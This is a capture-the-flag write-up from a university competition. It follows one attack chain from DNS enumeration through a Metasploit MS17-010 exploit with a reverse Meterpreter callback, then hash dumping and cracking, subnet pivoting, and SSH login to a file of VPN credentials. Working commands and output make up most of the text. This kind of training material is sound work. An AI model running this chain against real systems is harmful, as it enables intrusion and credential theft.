CTF WRITEUPS / NETWORK EXPLOITATION

Texas A&M System Fall CTF — Disarm Me

From DNS enumeration to an internal SSH pivot

Dhruv Guda ▪ Competition notes: October 23, 2026

3rd place team finish

I started with a network scan and DNS enumeration. An exposed SMB service led to SYSTEM access on a Windows file server. From there, I inspected processes, recovered password hashes, cracked a reused password, and reached an internal SSH host holding VPN credentials.

Each writeup pairs the challenge prompt with the commands, the output that mattered, and why I chose the next step. Terminal excerpts omit banners and repeated attempts. The DNS loop is reconstructed from damaged note formatting; the remaining commands follow the recorded workflow.

The route through the challenges

1. Name_Drop — Find the DNS name outside the main domain.
2. Ground_Truth — Gain access to the Windows host.
3. Process_Oriented — Identify the suspicious executable.
4. Hash_Brown — Recover the requested NT hash suffix.
5. Internal_Focus — Locate SSH on the internal subnet.
6. Easy_Enigma — Crack the recovered password hashes.
7. VPN Credentials — Pivot, log in, and recover the file.

Addresses that matter

`10.55.60.2`
Exposed Windows target.

`172.16.10.3/27`
Internal interface reported by that Windows session.

`172.16.10.26`
Internal host with SSH open.

The notes show both Windows addresses. They do not establish the exact network translation configuration.

01 / 20 POINTS

Name_Drop

The challenge

Explore the domain names on `10.55.60.0`. Identify the FQDN outside the domain used by the other hosts. The hint says it still uses `league` as the second-level domain, a common subdomain, and a suffix for private networks.

Start with the DNS server

I queried `10.55.60.5` for reverse DNS records across the subnet. That returned names in `league.local`, but it did not expose the outlier. Repeating the same reverse lookup would not answer the challenge, so I switched to forward queries with candidate names.

INPUT / reverse enumeration

```
dnsrecon -r 10.55.60.0/24 -n 10.55.60.5
```

Try common names against candidate suffixes

The loop tests common hostnames such as `mail` and `dns` against candidate suffixes. I stored each response in `r` and printed only names with a nonempty result.

INPUT / reconstructed DNS loop

```
for s in www mail ftp dns vpn dev smtp ns1 ns2 admin web portal intranet; do
  for t in internal lan corp home intranet private local; do
    r=$(dig +short "$s.league.$t" @10.55.60.5)
    [ -n "$r" ] && echo "$s.league.$t -> $r"
  done
done
```

OUTPUT / recorded DNS results

```
www.league.local -> 10.55.60.4
mail.league.private -> 10.55.60.7
dns.league.local -> 10.55.60.5
```

The mail host uses `league.private`; the other returned names use `league.local`. That identifies the outlier.

Answer `mail.league.private`

Two lines in the original loop were obscured by Google Docs equation objects. The loop above reconstructs the documented approach; it was not rerun for this writeup.

02 / 10 POINTS

Ground_Truth

The challenge

Find a way onto the Windows host. After gaining access, provide its IP address.

Let the exposed service guide the next check

I scanned the subnet for services and operating-system information. TCP 445 was open on `10.55.60.2`, so I focused on SMB. Nmap's OS estimate was uncertain; the open port was the useful lead.

INPUT / subnet reconnaissance

```
sudo nmap -O -sV 10.55.60.0/24
```

OUTPUT / selected scan results

```
Nmap scan report for 10.55.60.2
PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012
Warning: OSScan results may be unreliable
No exact OS matches for host (test conditions non-ideal).
```

Check MS17-010 before choosing the exploit

I used Metasploit's SMB scanner to check the specific vulnerability. The scanner reported the target as likely vulnerable.

INPUT / Metasploit console

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.55.60.2
run
```

OUTPUT / selected scanner result

```
[+] 10.55.60.2:445 - Host is likely VULNERABLE to MS17-010!
    Windows Server 2016 Standard 14393
```

Open a session and verify it

I selected `ms17_010_psexec`, set the target and callback address, and used the 64-bit Meterpreter payload. In the blocks below, console prompt prefixes are shortened to keep the commands readable.

INPUT / exploit configuration

```
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 10.55.60.2
set LHOST 192.168.1.11
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

OUTPUT / selected execution evidence

```
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] 10.55.60.2:445 - Target OS: Windows Server 2016 Standard 14393
[+] 10.55.60.2:445 - Overwrite complete... SYSTEM session obtained!
[*] Sending stage (200774 bytes) to 172.16.10.3
[*] Meterpreter session 1 opened
    (192.168.1.11:4444 -> 172.16.10.3:49670)
```

A session opening was not the end of the check. I verified the current user, machine identity, and network interface.

INPUT + OUTPUT / Meterpreter verification

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : FILE-SHARE-01
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
Domain          : WORKGROUP
Meterpreter     : x64/windows

meterpreter > ipconfig
IPv4 Address : 172.16.10.3
IPv4 Netmask : 255.255.255.224
```

The session confirmed SYSTEM access on `FILE-SHARE-01`. The exposed target was `10.55.60.2`; its observed internal interface was `172.16.10.3/27`. The latter also revealed the internal subnet for the next stage.

Answer `10.55.60.2`

03 / 10 POINTS

Process_Oriented

The challenge

A suspicious process is running on the Windows host. Identify the process and provide the name of the file it is executing.

Read the process list in context

With the Windows session open, I listed processes using `ps`. I checked the executable names alongside their users, paths, and parent process IDs. That gave me more context than a filename alone.

INPUT / Meterpreter

```
meterpreter > ps
```

OUTPUT / selected process records

```
PID   PPID  Name            User
2304  904   hi.exe          FILE-SHARE-01\Administrator
2632  2304  conhost.exe     FILE-SHARE-01\Administrator
3948  1328  powershell.exe  NT AUTHORITY\SYSTEM

PID 2304 path: C:\Program Files\hi.exe
PID 2632 path: C:\Windows\System32\conhost.exe
```

The executable `hi.exe` stood out at `C:\Program Files\hi .exe`, running under the local Administrator account. The child `conhost.exe` also pointed back to its PID, `2304`.

I used `hi.exe` as the challenge finding. This is process-list evidence, not a behavioral analysis of the binary; its name and location alone do not prove malicious activity.

Answer `hi.exe`

04 / 15 POINTS

Hash_Brown

The challenge

Excluding the colons, what are the last eight characters of the NTLM hash for abrown?

Select the right field before taking the suffix

SYSTEM access let me dump the local account hashes. A row contains several colon-separated fields, so I first located the account and then selected the NT hash rather than the LM hash or the account's numeric identifier.

INPUT / Meterpreter

```
meterpreter > hashdump
```

OUTPUT / abrown record

```
abrown:1000:aad3b435b51404eeaad3b435b51404ee:dfd56578d058633fcb99a1c4b703e18f:::
```

READING THE RECORD

```
username : RID : LM hash : NT hash : ...

username  = abrown
RID       = 1000
NT hash   = dfd56578d058633fcb99a1c4b703e18f
last 8    = b703e18f
```

The question asked for only the suffix, not the full record or the password. Removing the delimiters leaves the final eight hexadecimal characters.

Answer b703e18f

05 / 15 POINTS

Internal_Focus

The challenge

After obtaining access to an internal network, determine which host has SSH open and retrieve its IP address.

Scan for the service the challenge asks for

The Windows interface reported `172.16.10.3` with mask `255.255.255.224`, identifying `172.16.10.0/27` as the subnet. I limited the scan to TCP 22, the port the SSH challenge called for.

INPUT / Metasploit port scanner

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.10.0/27
set PORTS 22
set THREADS 10
run
```

OUTPUT / positive scan result

```
[+] 172.16.10.26:22 - TCP OPEN
```

That gave me the host address for the next stage. An open port does not by itself grant access; I still needed a route to the host and working credentials. The successful route and SSH login appear in the VPN writeup.

Answer `172.16.10.26`

06 / 15 POINTS

Easy_Enigma

The challenge

From the hashes collected on the file server, provide passwords you managed to crack. Multiple answers must be comma-separated without spaces, with symbols before numbers and numbers before letters.

Crack the hashes, then check the saved results

I placed the recovered account records in `hashes.txt` and ran John the Ripper with the NT format and `rockyou.txt`. Specifying the format tells John how to interpret the recovered hashes.

INPUT / Kali terminal

```
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

OUTPUT / selected cracking results

```
Loaded 4 password hashes with no different salts
                 (DefaultAccount)
!goeagles        (abrown)
Session completed.
```

The displayed result gave me a candidate password for `abrown`. I then used `-show` to check the recovered account/password pairs.

INPUT / verify recovered passwords

```
john --format=NT --show hashes.txt
```

OUTPUT / selected verification records

```
abrown:!goeagles:1000:aad3b435b51404eeaad3b435b51404ee:dfd56578d058633fcb99a1c4b703e18f:::
DefaultAccount::503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

3 password hashes cracked, 2 left
```

The empty password fields for `DefaultAccount` and `Guest` account for blank-password results. The useful nonempty password was `!goeagles` for `abrown`. I reused that pair in the SSH stage; the notes do not record how the scoreboard handled blank entries.

Answer `!goeagles`

07 / 25 POINTS

VPN Credentials

The challenge

The VPN credentials are somewhere on the network on a system accessible via SSH. Retrieve them and provide the VPN password.

Fix the route before retrying authentication

I re-established Windows access and used the session as a pivot. My first route command omitted the final `.0` in the subnet address, so Meterpreter rejected it. Correcting the subnet installed the route.

INPUT + OUTPUT / route correction

```
meterpreter > run autoroute -s 172.16.10/27
[-] Subnet invalid (must be IPv4)

meterpreter > run autoroute -s 172.16.10.0/27
[+] Added route to 172.16.10.0/255.255.255.224 via 172.16.10.3

meterpreter > run autoroute -p
Subnet        Netmask          Gateway
172.16.10.0   255.255.255.224  Session 1

meterpreter > background
```

Earlier SSH attempts had produced no new session. Once the route existed, I retried the recovered `abrown` credentials against the host found in Internal_Focus.

INPUT / Metasploit SSH login

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.16.10.26
set USERNAME abrown
set PASSWORD !goeagles
run
```

OUTPUT / successful authentication

```
[+] 172.16.10.26:22 - Success: 'abrown:!goeagles'
[*] SSH session 2 opened
```

Confirm the pivot and recover the file

The session listing showed both the Windows foothold and the Linux shell. I also started a SOCKS4a proxy on port 1080.

INPUT + OUTPUT / session inventory

```
sessions -l
1  meterpreter x64/windows  NT AUTHORITY\SYSTEM @ FILE-SHARE-01
2  shell linux              172.16.10.26:22
```

INPUT / SOCKS proxy setup

```
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run -j
```

OUTPUT

```
[*] Starting the SOCKS proxy server
```

The next recorded terminal was an SSH shell on `abrown-casual`. The notes do not include its separate connection command, so I have not supplied one as if it were part of the captured sequence.

INPUT + OUTPUT / read the credential file

```
abrown@abrown-casual:~$ cat VPN-Creds.txt
--------------------
VPN Credentials to access the Developer's Network

username: devaccess
password: D3vB@ckd00r
--------------------

Hurts' machine IP: 172.16.10.37
username: jhurts
password: fly3@gl3sfly
```

The `devaccess` record contains the VPN password requested by the challenge. The file also supplied a follow-on host and credentials, but the notes do not show using them.

Answer `D3vB@ckd00r`

EVIDENCE AND REFERENCES

What the record supports

The command record follows a chain from an exposed SMB service to SYSTEM access, then from recovered password material to an internal SSH login. The most useful correction was the pivot route: authentication succeeded after I installed the valid subnet route.